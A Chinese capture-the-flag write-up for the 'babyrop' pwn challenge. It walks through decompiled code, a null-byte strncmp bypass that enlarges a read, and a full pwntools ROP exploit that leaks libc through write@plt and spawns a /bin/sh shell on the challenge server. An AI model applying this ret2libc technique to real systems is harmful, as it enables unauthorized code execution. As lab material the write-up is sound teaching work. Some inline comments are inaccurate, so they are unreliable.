[OGeek2019]babyrop

107 篇文章 4 订阅
39 篇文章 0 订阅

[OGeek2019]babyrop

在这里插入图片描述
checksec 32位程序,其他开了问题不大
在这里插入图片描述

main函数

在这里插入图片描述

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h]
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  f1();
  fd = open("/dev/urandom", 0); #读一个随机数
  if ( fd > 0 ) #判断随机数是否大于0
    read(fd, &buf, 4u);# 把fd写4个bit到&buf 
  v2 = f2(buf); # v2 等于f2的返回值
  f3(v2); 
  return 0;
}

f1函数 初始化操作,就是清空缓冲区,没什么好讲的

在这里插入图片描述

f2函数

f2的利用点在于read函数会读入0x20个字符串,但是buf只有8大小,但是buf离ebp距离是0x2c,远远达不到覆盖return
addr 的目的,不过f2函数会返回一个值v5给 f3作为参数,strncmp
可以用\x00绕过,在f3中v5的长度只要不等于127就可以完成任意长度的溢出

在这里插入图片描述

int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s; // [esp+Ch] [ebp-4Ch]
  char buf[7]; // [esp+2Ch] [ebp-2Ch]
  unsigned __int8 v5; // [esp+33h] [ebp-25h]
  ssize_t v6; // [esp+4Ch] [ebp-Ch]

  memset(&s, 0, 0x20u);
  memset(buf, 0, 0x20u);
  sprintf(&s, "%ld", a1); #把a1读给 s
  v6 = read(0, buf, 0x20u);# 从终端读取0x20个字符串到buf
  buf[v6 - 1] = 0;
  v1 = strlen(buf); # buf的长度
  if ( strncmp(buf, &s, v1) ) #比较 buf 和 s 比较数是v1也就是buf的长度
    exit(0);
  write(1, "Correct\n", 8u);
  return v5;
}

f3函数

我们可以看到关键的利用点在f3上,f3 的else语句,read读入的是a1的值,a1的值是f2的返回值也就是v5,我们在f2函数中可以通过覆盖来控制v5的值,至此rop链已经构造完成
在这里插入图片描述

ssize_t __cdecl sub_80487D0(char a1)
{
  ssize_t result; // eax
  char buf; // [esp+11h] [ebp-E7h]

  if ( a1 == 127 ) #如果a1等于127 就读入0xc8个字符串
    result = read(0, &buf, 0xC8u);
  else # 如果a1不等于127就读入a1长度的字符串
    result = read(0, &buf, a1);
  return result;
}

exp

from pwn import *

io = process("./pwn")
io = remote("node4.buuoj.cn",26505)
elf = ELF("./pwn")
libc = ELF("libc-2.23.so")

context(log_level="debug",arch="i386")

write_plt = elf.plt["write"]
read_got = elf.got["read"]
main_func = 0x08048825

payload1 = "\x00" + "\xff"*7

io.sendline(payload1)
io.recvline()
payload2 = flat(["a"*0xE7,"b"*4,write_plt,main_func,1,read_got,0x8])

io.sendline(payload2)

read_addr = u32(io.recv(4))
print read_addr

libcbase = read_addr - libc.symbols["read"]
#print libcbase
system_addr = libcbase + libc.symbols["system"]
binsh = libcbase + next(libc.search("/bin/sh"))
print binsh
payload3 = flat(["a"*0xe7,"b"*4,system_addr,0,binsh])

io.sendline(payload1)
io.recvline()
io.sendline(payload3)

io.interactive()

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值